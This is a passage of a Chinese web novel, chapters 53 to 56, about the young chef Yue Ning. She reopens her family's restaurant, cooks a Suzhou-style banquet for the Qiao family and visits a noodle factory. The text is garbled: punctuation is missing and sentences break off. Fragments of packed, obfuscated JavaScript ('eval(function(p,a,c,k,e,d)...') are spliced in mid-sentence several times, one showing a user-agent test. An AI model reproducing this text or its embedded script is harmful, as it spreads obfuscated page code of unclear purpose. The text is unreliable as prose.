“没问题。许乐梅欣然。 岳宁挪了两步，保持和陆进勇正对面 用非常尊重非常谦逊的态度对他：“能请陆大厨给个意见吗？” “从刀工上丁胜强就已经跟你有很大的差距了。口味上更不用说了。作为厨师我很诧异你有和你的年纪完全不相称的厨艺我是指无论是刀工、火候和调味都已经到了一定境界。”陆进勇看着她“但是我刚才说现在的中餐厨师最大的问题就是只追求菜的口味。实际上我们的饮食文化博大精深。我们总说色香味俱全但是漏了一个字‘形’比起精致的法餐我们的摆盘差太多太多了。而大家在评价美食的时候侧重点都是放在味道上不在意菜品美。做菜做到后面是艺术。”陆进勇笑了一声“我说得有点多了实在是看到你这么年轻手艺这么好不忍这么好的一颗苗子也把所有的重心放在口味上。” 他终究还是计较被荣叔拿走的厨王头衔问题是荣叔回来都没提过可能荣叔根本没放心上吧？ 岳宁微笑点头：“受教了！您和我爸爸说得一样呢！他也说起当年的福运楼做的菜那叫一个精致。然而受限于西北的条件他能教我的也就那么多。他也希望我出来之后能多向行内高人学习。希望有机会能像您请教。” 陆进勇很倨傲地笑了一声：“从入门到进阶有很长的路要走我平时比较忙当然我也欢迎有这个想法的年轻人我找个合适的人带你入门吧？” 岳宁鞠躬：“谢谢陆大厨我爸爸带我入门了我还是懂一点摆盘技巧的可能需要的是进一步的提升。” 陆进勇笑容收敛大呼气好似遇到了一个不懂事的晚辈：“你爷爷没告诉过你大师傅大多心气高傲年轻时候想要学手艺都得勤奋谦逊。” 越说越来劲儿了陆大厨是苏小姐请来的苏小姐为了今天 但这位在不了解的情况下意思上她还没入门。看在苏小姐的份上岳宁不想跟他多做纠缠等去他的餐厅吃过了了解他的水准之后再说。 她点头：“我懂了多谢陆大厨指教。” 岳宁谢过专业评委又到观众评委那里：“大家有什么意见也可 以跟我说。 “听你这么说了，胜华楼我是不敢去了。你们宝华楼什么时候重开， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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路上，阿忠还对他们去把座位上的垃圾清理了，耿耿于怀。 “你见过明星演唱会后，明星自己下场捡垃圾的吗？阿忠说。 岳宁停下来，很严肃地看着阿忠：“明星应该引导自己的粉丝把随身的垃圾带走。他是偶像，是榜样。我还没有粉丝，我没有那么大的号召力，我无法要求观众这么做，那么我只能自己做，带着你们做。宝华楼以后要做大，就要从现在开 始从点滴做起约束自己未来宝华楼才能成为一家有社会责任感的企业才能走得远。企业的口碑和美誉都是一点一滴积累起来的。如果想跟我学手艺想跟我做你必须比别人更懂约束自己我爸爸说厨子要守规矩我们做的是吃进嘴里的东西。” 阿忠被她的眼神吓到了轻声说：“知道了。” 岳宁立马露出雀跃的笑容：“吃饭了吃饭了！吃咖喱蟹了。” 岳宁带着大家进鸿安大酒店在旋转门口 岳宁立马换上甜甜的笑容叫：“致远哥哥……” 蔡致远收回了搭着美女腰的手忙说：“宁宁啊！哥哥消受不起你的四十五度仰望。” 他记性真好！岳宁都忘记这个了。 蔡致远看着她笑：“苏小姐为了这次的直播应该是熬通宵了几位专业评委也是她的面子请来的。你亲自做顿饭我来做东请苏小姐和陆进勇他们几位专业评委吃一顿？好不好？” 他特地提陆进勇？岳宁从蔡致远的眼神里看到了鸡贼她嘿嘿笑了一声：“哥怎么办？我还是想仰望你！” “这次允许你芋头片装东平鸡饭。”蔡致远还挑了挑眉。 第53章 宝华楼重开 宝华楼的人一起去十六楼的南洋餐厅。 到门口就有侍应生问：“小姐订位了吗？” 岳宁摇了摇头，见里面座无虚席，瞬间遗憾，她跟大家说：“要不我们换一家吧？” 越是没有位子，遗憾就越大，不过还能怎么样？ 岳宁刚要带人走，听见一声：“宁宁。” 岳宁回过头，见一位气质高贵的女士看着她。岳宁疑惑，自己还没有机会认识这样的贵妇。这位太太眉眼好像有点熟悉。 这位女士笑：“我是你大妈妈的三姐，是君贤的妈妈。” “三姨妈。”岳宁叫一声。 乔叶应漪笑着说：“你一句话，这餐厅生意就好到爆了。” “就是很好吃吗？今天我还想吃。”岳宁有些惋惜，“不过没位子了。” “有的。”乔叶应漪转头和跟在身边的一个经理模样的人说，“用家里的包间。” “是，三小姐。” 乔叶应漪笑着说：“去吧！今天有黑胡椒烧魔鬼鱼，味道最正了。” 岳宁听见眼睛都亮了：“姨妈再见。” “等你忙过了，去家里玩。”乔叶应漪跟她说。 “好的，好的。” 他们被带到了一间包房里，里面花色地砖，雕花家具，浓浓的南洋风情。 窗外是海景，海景什么的，现在还是别看了吧？一大早起床，到现在岳宁饿了。 “这间包房专属于叶家在港的亲眷，不对外。”经理介绍。 这个不是重点，重点是她想吃饭，岳宁说：“辣螃蟹，咖喱的和黑胡椒的各来一份。” 餐厅经理说：“岳小姐，二少爷和您在这里吃了顿晚饭，生意就成这样了，我们预定的螃蟹不够，午市已经卖空了，现在已经在紧急调货中，如果您要吃，可能要等。” “等多久？” “大概要半个小时左右，还要做起来的话？”经理很抱歉地说。 岳宁侧头，她不想等，还得回家呢！家里一堆事呢！没有位子的时候遗憾，有了位子没得吃还是遗憾。 餐厅经理小心翼翼地问：“要不要换咖喱大虾和黑胡椒大虾？” “好的。” 菜上来，其他几个人可能有些吃不惯，她这种上辈子满世界跑的人，觉得味道特别正，所有的菜的都很好吃。只是，前天晚上来得晚，有什么吃什么也就算了。今天是特地想来吃咖喱炒蟹，结果还是没有。 岳宁突 然发现自己很恶劣，乔君贤在北京的时候就说要吃东平鸡饭，他后来特地来给她送资料，又说想吃东平鸡饭，又没吃上。那天宴请，芋头片上那一口，能过瘾吗？人家什么都没说。要不找个机会，请他来吃顿饭吧？他还想吃扬州炒饭，难不成自己真请他吃两碗饭？ 还是请乔爷爷全家吃个饭吧？乔君贤不是说，他去西北是走乔爷爷以前的路吗？乔爷爷念念不忘的就是一口洋芋饼饼吗？ * 吉时已到，阿松和阿明一起点燃鞭炮，在噼里啪啦声中，宝华楼重开了。 几个学徒一起给街坊派糖。 兰姐高兴得说：“以后大吉大利，一帆风顺。 花姐往对过关门打烊的胜华楼：“老天有眼，恶人恶报。 宝华楼的菜里吃出胶布，宝华楼关门，胜华楼火得不行，这才几天宝华楼重开，换成胜华楼关门了。 宝华楼是被陷害，是假的真不了。胜华楼的问题，在港城记者的深挖下，震惊全港。 记者拿到了鸡鸭禽类老板给两家的供货清单，同样日期，同类产品的进货价格对比德清清楚楚，新闻里播放了家禽老板的一段话：“一分钱一份货啦！买过活禽和冷冻鸭的都知道价格。宝华楼用活禽，午市用的，我前一天下午两点送到，晚市用的我都是在第二天一早送到。十几年都是这样的啦！岳老板会亲自刷脆皮水，能逃得过他的眼睛？胜华楼用的价格便宜一半，你不能说胜华楼的冷冻鸭不好，不好的话，也不能投放到市场。只是东西不一样，冷冻鸭其实很实惠的 这个？食客们还能接受。然而看到后面的镜头，知道真相的食客，胃都要吐出来了。 鱼是下市之后，收回来的不说了，里面活鱼死鱼都有，这也就算了。 看到阿旺炸鱼的地方，那就更加震惊了，炸鱼的油，是从猪肉摊上收回来的各种废肉，熬出来的猪油，兑上豆油炸的。这还不是关键，关键是阿旺的家里，加工的那个地方，苍蝇在飞，大夏天蛆都在扭动。 镜头在给到阿旺婶，阿旺婶不知道是有鼻炎，还是怎么的，低头拆鱼的时候鼻涕水会滴出来，滴到正在拆的鱼上。 处于这样的风暴中心，作为这家酒楼的第一大股东，张丽丽被阿Sir请去喝茶，张丽丽说她是请了丁胜强来全权管理，丁胜强也进去了。 胜华楼被查封了，什么时候重开，谁也不知道，甚 至都不知道两个老板什么时候能出来。 宝华楼关的时候岳宝华给大家工钱照发胜华楼关了他们欠几家供货老板的钱都不少工钱真是想都别想。 反观宝华楼现在是红得发紫。 岳宁那天结束后带着宝华楼的人把观众遗留在大球场上的垃圾全部捡掉打包送到垃圾箱边上被记者拍下报道之后。 有记者去问岳宁：“知道大球场有清洁工吗？” 岳宁回答：“知道。但是垃圾应该放到垃圾桶边上清洁工再收才合理。那天球场上垃圾说到底还是因为我们宝华楼和胜华楼之争才有的观众没带走那我们花点时间捡走了至少给清洁工少添了麻烦。” 这个回答又收到了一大波的好感。 胜华楼后厨的人一半都是宝华楼原来的人其中大部分又是近期过去的去了大半个月有的甚至一次工钱都没拿到。 现在见宝华楼重开就想要回来有人找到正在派糖的阿忠 阿忠阴阳怪气：“当时你拉着我去胜华楼不也是说宝华楼开不了几天了吗？我们等了一个月不到宝华楼不是翻身了吗？你也可以等啊？” “宝华楼现在这么好这么多人等着吃饭后厨不是缺人吗？我们回去了也刚好。”这人还在拉着阿忠说。 花姐对着一个三十来岁一手抱着孩子一手牵着孩子的女人说：“彩玉宝华楼重新开张刚刚扫了所有晦气你来哭算什么意思？” 这个女人带着两个孩子走到岳宝华面前：“师傅家富跟了您十四年您也算是看着他长大的。我们刚刚换了楼还要还按揭的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大人之间的事没必要牵扯小朋友。虽然这对夫妻把孩子推出来挺恶心的。 岳宁一把抱起孩子到阿忠那里拿了一把糖果塞在这个小女孩手里：“妹妹吃糖。” 这个女人见岳宁这么好说话心头一宽 岳宁抱着小女孩摸着她的头发一派温柔：“婶婶啊！你们远远没到绝路的时候。现在房价在涨哪怕今天买明天卖也不会亏多少钱炒楼花就是这么炒的。无非就是你们认为房子涨这么快你们舍不得卖掉大房子。家富叔算是我爷爷的徒弟里手艺好的。只要他不计较钱多钱少在哪儿找不到一份工？对吧？” “对啊！那时候楼家富叫我过去我说哪怕我去观塘去筲箕湾的工厂踩缝纫机组装玩具去。我也不会吃师傅的肉喝师傅的血。”阿明站出来说。 “你今天过来你们盘算的就是宝华楼的工钱一直不算低还有一个是我爷爷有我来**了以后宝华楼肯定越来越好。现在回到宝华楼以后还是宝华楼的元老。指不定哪一天我们开了分号他就是分号的主厨甚至是总经理了。”岳宁看向阿明说“不好意这种机会我得留给阿松叔他们。我算是个好人但我不是个烂好人。” 她把孩子放下来说：“妹妹回妈妈哪儿去！” 小女孩仰头看她妈这个女人抖着下巴不说话。 岳宁看着她又看向那些原来是宝华楼的人：“没有人会永远都是顺境我不求同甘共苦但我不敢用临阵倒戈的人。” 这时乔启明挽着一位穿着旗袍的白发老太太后头跟着见过的乔太和没见过的乔先生还有乔君慎和乔君贤穿过了服装铺子门前走了过来。 第54章 黄焖河鳗 岳宁和爷爷一起迎过去，她走到他们面前：“乔爷爷、乔奶奶，姨夫、姨妈、君慎哥哥好！” 乔奶奶转头，即便是说着粤语，依然带着一口苏州话软糯：“君贤啊！看起来今天没你的位置了。” 乔君贤把手里的袋子给岳宁：“给你买了个照相机。” “谢谢！” 拿人手短，岳宁帮乔君贤解释：“他是我偶像，我今天特地给他做东平鸡饭和扬州炒饭。” 乔君慎在弟弟的耳边说：“给你炒两份饭，当你是饭桶呢！” “我一个人吃两份饭，你等下别吃。”乔君贤没给他哥好脸色。 乔老太太也把一个礼盒给岳宁：“我做的糕点，给囡囡尝尝味道。” 乔君贤说道：“我奶奶亲手做的点心，整个港城都有名的。” 听乔君贤说，抗战初期，他家大半的船都捐了出去，沉入长江口，为阻止日军沿着长江去南京和武汉尽一份力，原本太爷爷让乔爷爷去港城，是希望两个儿子能有一个逃避战火。 然战事越来越激烈，他爷爷和他的大姨一起在整个东南亚收购老旧卡车，修理后送进内地，进行运输。旧卡车虽然性能不太好，但价格低，被炸也不心疼。 最终他爷爷也没办法在港城享受太平，告别妻儿回内地协调，那些日子，他们家的这些卡车从港城到粤城到武汉，武汉到重庆，再到宝鸡乃至西安，哪里可以运输，他爷爷就跑哪里。 乔家所有的钱都压在这个上面，全靠他奶奶的一双巧手，做的精美可口的苏式糕点，创立了现在作为港派点心的代表品牌月盈糕点，不仅养活了一家人，还赚了不少钱，为以后他们家东山再起，累积了资本。 “谢谢乔奶奶。”岳宁接过，“我们进去吧！” 祖孙俩带着一家子进包房，这次岳宁没有特别花哨的摆盘，干干净净的四个长方形白瓷盘，每个瓷盘里，是两荤一素的三个凉菜。 乔老太太说：“你今天是要做四冷六热四硬？” “怎么说呢？形式是四冷六热四硬，但是这菜却难以做到复原民国苏帮菜的四冷六热四硬，一来实在是港城和苏州相聚太远，物产不同，我一下子很难找齐这么多的菜品，二来也要照顾其他人的口味。”岳宁说。 这一老一少的对话，让其他人糊涂了。 乔启明跟他们解释：“民国的苏帮菜，讲究四冷六热四硬，四道凉菜，每一道 里要两荤夹一素，颜色搭配要好看，口味要相合。看似四道，实际上是十二道凉菜。六道热菜，四道硬菜，一干一湿两点心。我娶你们奶奶的时候，她家送嫁的婚宴就是这样规格的宴席。 “乔爷爷说得是。岳宁说，“我毕竟是粤菜厨子，如果做出来的菜，不够地道，还请多包涵。 “你做的肯定好吃。老太太说。 一家人落座，祖孙俩回到厨房，也到了午市开张的时刻，港城人特别喜欢跟风，昨天岳宁出了一道古法粤菜，咸酸梅蒸蛏子，今天每桌都要来这道菜。 岳宁都快偷笑了，这道蒸菜做法简单，平时都是蒜蓉配上海鲜和粉丝蒸，把蒜蓉酱换成了潮汕酸梅做的酸梅酱，滋味就变得奇妙起来。学徒们都能做。 “宁宁，七号台点名要你做虾仁滑蛋。 “客**约几岁？ “六十多七十左右的一对夫妻。 这两天总有食客会拿看似简单，实则考验基本功的菜，点名要她做。 这种感觉，就跟玩游戏一样，他们总想看看她这个NPC还有什么隐藏功能。 岳宁用炒勺舀出小半勺今早活剥的虾仁，调味之后，在沸水里汆烫。 “宁宁，你怎么虾仁用水烫啊？ “标准自然是用油滑。鸡蛋吸油，高油的对心血管不好，而且一般人年纪大了之后，本身口味也会受身体影响，渐渐地不太喜欢油腻的菜品。虾仁，水用量大，汆烫变色就捞出，也能保持虾仁的鲜嫩。 岳宁把虾仁倒在漏勺里，接过阿忠敲好鸡蛋，她倒了一点牛奶进去：“滑蛋要加水或者水淀粉，目的是为了鸡蛋更加蓬松，我用牛奶替代水，可以增加些微奶香。 这好像跟华叔教的又有些不同，但是她说得怎么那么有道理呢？ 岳宁热锅冷油润了锅，倒出了油，关了火，虾仁倒进调味好的蛋液里，倒入锅里，用锅子的余温让蛋液略微定型，再开小火，用筷子拨动蛋液。 全世界的人似乎都喜欢将熟未熟的鸡蛋，谁能拒绝这一口滑嫩呢！ 虾仁滑蛋装盘，虾仁红润，蛋液看似没有完全凝固，装盘后却也不再流动，点缀上碧绿的葱花。阿松盯着岳宁锅里剩下的一点虾仁滑蛋。 岳宁倒进碗里，其他人拿了小勺子，一人一小口。 阿忠说：“我吃不出油多油少的区别。滑嫩的感觉也没什么区别，其实要不是看见加 了牛奶我也吃不出来。” “有还是有的。虾仁没有用油炒跟鸡蛋更加粘合堆成这样小山形状也不会滑落更好做造型。”阿松说。 岳宁问：“阿忠你河鳗酿好了没有。” “好了好了！”阿忠把河鳗拿过来“宁宁就是把糖板油塞河鳗肚子圈里对吧？” “对的！就是这样。”岳宁见河鳗的腹圈里已经塞了一小块白色的糖板油。 她这是要做黄焖河鳗既然要请乔家人吃饭岳宁就想了解乔家人的喜好。 乔君贤说起奶奶也是满满的骄傲只是也感慨奶奶的身世说奶奶的亲妈是个太湖上的船娘做得一手好船点被她父亲看上。 其实那个时候纳妾不仅是因为男人喜欢纳回家还当成半个佣人还不用付工钱。 奶奶的妈妈成天困在厨房里连带奶奶也在厨房里长大跟个丫头没多大的区别。 乔奶奶第一次出门 当然那场宴席上她也碰上了从上海去苏州作客的乔爷爷兴许是缘分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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再揭开河鳗锅盖不知道是猪油还是河鳗本身的脂膏混合了大蒜的香气散开。 “好香。”有点空闲的人不禁过来看一眼。 “这道是正宗的苏帮菜浓油赤酱甜润可口不过我们这边的人未必吃得惯。你们想尝尝的话收市后我做一条给你们吃。”岳宁笑着说。 阿松想起他在北角的一家上海饭店吃过的红烧肉：“那个甜要甜**的。” 岳宁把鳗段夹入瓷盘里排列好头尾各一端锅里汁水捞掉大蒜子和葱姜略微再收一下浇在鳗段上。 在姑苏白露之后才吃黄焖河鳗这道菜用菊花装饰浓油赤酱的河鳗撒上丝丝缕缕的菊花瓣也算是合了一个“黄”字。 岳宁手里拿着菊花正在装饰。边上阿明看着菜说：“你们昨晚有没有看电视啊？那个陆进勇上次在大球场那么说宁宁宁宁对他还很客气。他没完没了 “肯定进不了大英博物馆现在又不是慈禧老佛爷的年代。”岳宁说。 “跟老佛爷有什么关系？”阿明问。 “大英博物馆的中国文物大多是怎么来的？”岳宁停下手“上菜！” 第55章 菜做得太好了 乔家一家子正在吃饭，凉菜拼盘形式是老苏州的两荤夹一素，里面的菜品，一半是苏式做法，一半是广式做法。 乔老太太对这个熏鱼赞不绝口：“如今的那个熏鱼，单单放在油里炸酥，也好意思叫熏鱼的？” 乔启明也是吃出了老底子的味道。 上辈子岳宁正在上海读书的时候，吃到上海熏鱼，她一直不明白，在油里炸熟的鱼，为什么要叫熏鱼？明明另外一个名称爆鱼更加合适吗？ 她查阅资料之后，才得知，一开始熏鱼是真的熏制的，用砻糠，用果木，乃至用茶叶和大米，烟熏之后再炸，再投进酱汁里入味。 刚好大学闺蜜来粤城玩，她就试着用民国的方法，茶叶熏过的草鱼块做熏鱼，闺蜜一吃顿觉惊艳。 这道古法熏鱼后来在上海宁宴推出，也成了招牌。她自己也介绍了还原这道菜的经过，顺带给宁宴再贴一层，创新也不忘本，用心做菜的标签。 不过那时候，已经难觅在民国吃过这道菜的老饕了，到底有没有传承那个风味，岳宁也不知道。 老夫妻俩偏爱这道甜叽叽的熏鱼，他们儿孙还是喜欢那一块表皮松脆，肥肉柔润，瘦肉甘香的烧肉，这块肉里有玫瑰露和酒酿的双重清甜，但是又不像熏鱼甜味那么重。 这时侍应生端着黄焖河鳗进来，菜上桌：“本店宁小厨的古法黄焖河鳗，请慢用。” 乔君贤把菜转到奶奶面前：“奶奶，宁宁说未必能烧出您记忆里的味道，毕竟那是您和爷爷第一次见面，有特殊的味道在里面。她遵循苏帮菜的做法，尽力还原了。” 乔老太太看向老头子，再看乔君贤：“弟啊！你爷爷整天瞎说，你怎么也把这个当真了？” 乔启明不服气，拿起筷子给老妻夹了一块鳗鱼肉：“你吃，你吃。宁宁做得再好吃，有当年的味道吗？” 乔老太太不想跟老头子争辩，筷子接触到鳗鱼段，皮分开，露出雪白的肉，她夹了一块鳗鱼肉蘸了一点酱汁吃进嘴里。 “怎么样？宁宁的手艺算得上厨师里算很好的了，有你以前的味道吗？跟你说，老是不相信。”乔启明笃定地说。 乔老太太伸出筷子给他夹了一块：“你吃，你吃了就晓得了！” 乔启明笑着吃起来，这个河鳗皮炖到起了胶质，鳗鱼肉软嫩如细豆腐，进嘴里，一抿就化开，鳗鱼的味道占领了口腔，蒜香，猪油的丰腴香， 还有若有似无的一点焦糖香。黄焖不像熏鱼那般甜却也在咸鲜中脱不开苏帮菜骨子里的甜。 “就是这个味道呀！就是这个甜又不太甜甜得有一点点香。我生淑仪的时候我想吃你找了上海滩的名厨做我说是甜香那个厨子就打翻了糖罐子真当我们苏州人可以把糖当饭吃啊？这个菜的主味还是咸不是甜。但是就是有一股子甜香。”乔老太太带着那种这道菜总算还我清白的表情跟儿孙说“你们吃吃看浓油赤酱也不是完全甜得吃不下去的。” 乔家和伸出筷子夹了一块其他人跟进鳗鱼吃在嘴里他们家老太太问：“就是很好吃对吧？” 乔家和看着他亲爸想来想去还是不能违心：“很好吃。” “对吧！那时候我才十一岁不到十二岁你长得再好看 叶应漪见公公略有些尴尬他们家的男人啊！都喜欢的自己骗自己老婆先喜欢他。当年自己大学毕业从美国回到南洋明明乔家和这个笨蛋情愿坐三天三夜的船从港城到新加坡找自己看一场电影什么都不说就走了。好了这人婚后还非说她在美国的时候就看上他了。 看上他了她还会听她妈的话去相亲？听见她要去相亲他火烧屁股赶过来。 想到这里叶应漪瞥了老公一眼转头跟老太太说：“妈这个汤汁拌饭肯定好吃。要不我们来一小碗米饭我们娘俩一人一半？” “好呀！” “奶奶、妈你们确定君贤一个人能吃掉两份炒饭？”乔君慎阻止他妈拌饭他妈家在南洋那里各种咖喱酱她看见什么酱汁浓郁就想着拌饭。 刚巧这时候侍应生端着一个煲进来：“武汉鱼杂煲请慢用。” 乔启明年纪大了山珍海味吃多了街边小摊也吃得不少只是他当年从南到北从东到西穿越了大半个中国他就想着那些年在鬼子的轰炸中组织协调运输风餐露宿在湖北偶尔吃到的一口烧鱼杂尤其是那个鱼籽让他吃掉了三碗糙米饭还有就是仗着自己是宁波商帮的二公子到陕北送物资在寒夜里一位大嫂给他做 的一碗洋芋饼饼，快冻僵的他，吃了这么一碗香辣的洋芋饼饼，瞬间活过来了。 可这两样农家味道的土菜，实在难以找到。一来是港城人基本不吃辣，确实也没饭店做，二来饭店里也做不出来那种农家的味道。 他说这些话，老太太也说他，饿惨了，啃树皮都香。 岳宁再次听乔君贤说乔爷爷当**，不禁觉得这个秃顶的老爷子，竟然是如此帅气。 乔君贤把热情腾腾的鱼杂煲转到爷爷面前：“爷爷，我跟宁宁说的…… 乔君慎打断弟弟说话：“傻小子，你真是年轻，年轻就是不懂事，喜欢什么都跟心上人说。宁宁呢！手艺也太好了…… 乔君慎说不下去了，他侧头笑。 “吃饭。乔启明瞪着大孙子，“自作聪明。 乔老太太用勺子舀了一勺鱼杂，放在乔启明的碗里：“我去上海读女中的时候，就看上你了呀！要不然，怎么会给你做糕点？就怕你不知道我贤惠，不知道我手巧。 这下乔启明头上剩下的几根**终于顺了，他低头吃老妻给他盛的鱼籽，咸辣可口，很家常很下饭。 叶应漪也来了一口鱼杂：“这个辣辣的好吃。 “你就别想拌饭了。乔家和跟老婆说。 正想着下饭，侍应生进来，托盘里是一大碗拆鱼羹和浅浅的一小碗白米饭：“宁小厨的拆鱼羹。宁小厨让给乔老先生上半碗白米饭。 乔启明拿过饭，又舀了两勺鱼杂吃起饭来。 乔家和把拆鱼羹转了过去，他打了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到经历过那个年代，而且确实是吃客的人这么说，岳宁觉得自己受到了莫大的肯定。 “这个黄焖河鳗，做得更好。就是苏州老底子的味道。我知道了，这么多年吃来吃去，吃不到那个味道，是里面的一小块糖猪油。”乔老太太总算是找到了症结。只有糖渍的猪油，才让这道菜有了甜香。 “是的，按照以前的做法，就要放这块糖猪油。” 乔君慎轻笑一声：“你这个河鳗做得太好了。” “君慎哥哥也喜欢吗？”岳宁更开心了，“我还以为君慎哥哥在港城长大，不一定能吃得惯苏帮菜呢？” 乔君慎一直认为岳宁这个小姑娘特别聪明，现在他知道了，什么叫物以类聚？她跟自家这个傻小子还真是天造地设的一对。 他笑着重强调：“真的是太好了。” 这下岳宁总算是回味过来，君慎哥哥这是话里有话。她用眼神询问乔君贤…… 第56章 改良方便面 午市结束，岳宁去换掉厨师服。 脑子里全是的乔君贤悄悄跟她说的话，她怎么知道乔爷爷是这样的人？ 乔君贤跟她说，因为她的黄焖河鳗做得太过于正宗，导致乔奶奶拿出了切实的证据，乔奶奶并没有第一次见乔爷爷就喜欢上乔爷爷。 乔老太太真的只是觉得那块河鳗很好吃，好吃到值得心心念念到现在。 这么多年，乔爷爷一直认为乔奶奶不好意思承认，她对他一见钟情，而且一直沾沾自喜，自我沉迷于老婆对他一见钟情。 我的天！岳宁听见这话目瞪口呆，乔爷爷这么个大佬也会恋爱脑，且这么自恋吗？ 乔君贤还说，这个毛病他们家遗传，他爸总是认为是他妈先喜欢上他的，只是不肯说而已。实际上他爸追他妈，追到南洋。父子俩就享受这种感觉，婆媳俩一直以来，懒得跟他们计较。 还会有这样的遗传？岳宁就问乔君贤：“你会吗？” 乔君贤摇头：“我不会。” 岳宁心里愧疚，自己终究是戳破了乔爷爷那件皇帝的新装。难怪君慎哥哥说“太”好了。 岳宁换了衣服，拿了手提包往外走，崔慧仪已经等着了，今天她要去立德食品。 前两天她把岭南豉油鸡捞面的调料样品和调味方子给了崔慧仪，岳宁对圆仔的面条过于柔软，给了些意见。 岳宁记得上辈子港式茶餐厅的豉油皇炒面，原本用竹升面，后来方便面厂商推出了带调味料的方便面，特别合适需要快速出餐的茶餐厅，渐渐地简便且容易存放的方便面取代了竹升面，被广大的茶餐厅接受。 岳宁就想着面条上面想想办法改进一下，让它更适合茶餐厅。 这两天崔慧仪一直在工厂里试，调味料就是按照岳宁标准做，面饼却是厂里做了好几款，要让岳宁去亲自试试。 两人上车，崔慧仪刚发动，车载收音机通电了，里面传出声音。 “我觉得很暖心，没想到在宝华楼能吃到家乡菜。我一开始只是说我是湖南人，能不能放点辣椒？上一次我在一家餐厅这么问，被嘲笑过。这次，宝华楼的侍应生进去问了之后，来问我想不想吃农家一碗香？” “是啊！是啊！我进去说不想吃肉片炒胜瓜，想吃肉筋炒胜瓜，我老婆在世的时候，会在我生日的时候给我炒这个菜。我知道我很过分，肉筋是猪排外面的一层筋膜。他们让我等了半个小时 ，给我炒了一盘的肉筋炒胜瓜，还端了一碗荷包蛋面。祝我生日快乐！” “我有小朋友的，出来吃饭很麻烦。宝华楼有儿童座椅呢！” 声音切换成了主持人：“这是我们两天来对宝华楼食客的采访。这几天宝华楼重开，我们发现重开了之后的宝华楼已经不是以前的宝华楼。宝华楼的岳宁，刚刚抵港就火爆港城，后来她通过用比试的办法，揭穿了胜华楼低价竞争下的种种问题。她也在大球场收拾垃圾，第一次让港城人，对一个来自大陆西北贫困地区的女孩子有了非常好的印象。这再一次证明了，我们港城人并不排外，只是排低素质的人。” 岳宁微微笑了笑，加了这么多限定语，其实骨子里还是有优越感。不过作为来港讨生活的外乡人，她也没必要这么敏感。 主持人还请来了两个嘉宾，其中一位是陆大厨。 “这人成天电视、电台说是传播中华饮食文化，实际上就是到处混了脸熟，不过也有用，他们的云和楼生意还不错，里面还有好几个厨子是从辉煌过去的。包括烧腊师傅。用的烧腊方子还不是你爷爷的。”崔慧仪不以为然地说，“要不是我姐退出了辉煌的经营，他的云和楼会起来吗？” “对了，辉煌现在的经营如何？”岳宁颇感兴趣地问。 崔慧仪摇头苦笑：“举步维艰，上次从内地回来，我爸已经有意要转让。这几天都在洽谈，不过谈了几家，几家都对接手辉煌有顾虑。高端餐饮难做，高质素的菜品，高素质服务人员，都很难找。而且每年开销都不菲。” 电台里一位嘉宾对宝华楼目前的改变做出了正面的表扬，希望宝华楼的这些改变能是长期坚持下去。 现在是那位陆大厨在说：“宝华楼的服务不是最好的，港城比他们服务好的酒楼有很多。但是，大部分酒楼的厨子没有岳宁这么出名，也没有她这种背景可以依靠。她出名了之后，很懂怎么博得大家的好感。短期内宝华楼也就是提升服务这一条比较快，招聘侍应生毕竟比较容易。但是宝华楼后厨走了那么多的人，现在他们每天的接待量不足以前的一半，以后接待量上去了，宝华楼还可以接受现在的特殊点单要求吗？在我看来，这些都不是长期能继续的。我倒是建议，岳宁能收起她的小聪明，能沉下心来，当务之急，她需要解决后厨人员缺少的问题。长期来说，宝华楼是粤菜馆，那就做 好粤菜，而不是搞一些花里胡哨的东西出来。你一家粤菜馆给顾客炒一道湘菜，这算什么事？” 另外一位嘉宾说：“但是，根据食客的反馈，她炒的菜味道非常好。” 陆进勇微微一笑：“宝华楼的菜缺的从来不是口感，而是格调。如果她一直转在这些小打小闹上，宝华楼可能不会关，但是三十年后还是这样一家宝华楼。但是她的雄心应该不止于此吧？上次我跟她面对面的时候，提议给她找个人，带她入门餐饮美学，已经过去有一周了吧？也没见她来联系我。当然，也可能是她比较忙。” 原来他还在等自己上门去求着做他的徒孙，他有面子，还能蹭她现在的流量，端着，还什么好处都想要？ 崔慧仪听见这样的说法，脾气上来：“他是不是有病啊？他以为他是谁？跟你比格调？他配吗？” 宝华楼所处的街区实在太杂乱，港城有些大佬喜欢去这些老店也正常，但是商务宴请，那个街区连车子都没地方停，确实很难发展。 “辉煌现在还有多少厨子？”岳宁原本真不想跟这个谁计较。毕竟自己忙得要命。 “现在厨子比客人多。”崔慧仪说道，“宁宁，你不是想要拿下辉煌吧？” 岳宁笑：“想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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岳宁感慨内地和港城管理的代差太大了，这里的管理理念基本上和自己上辈子的食品公司没什么区别。 “崔记就不这么管理，还是老一套。我也懒得跟我爸说。我这一套是全套照搬日本的食品厂的。日本企业的管理，你知道的呀！”崔慧仪边走边说，说到这里，她打住，“下次带你去看了，你就知道了，我们需要向他们学习的地方太多了。” “是。”岳宁非常认可崔慧仪包容开放的心态。人家优秀，就学吗？ 进入立德的厂区，里面干净整洁，每一个区域都有相应的标识。崔慧仪按照速食面的制作流程带着岳宁看，工厂不算大，半个小时就参观完了。 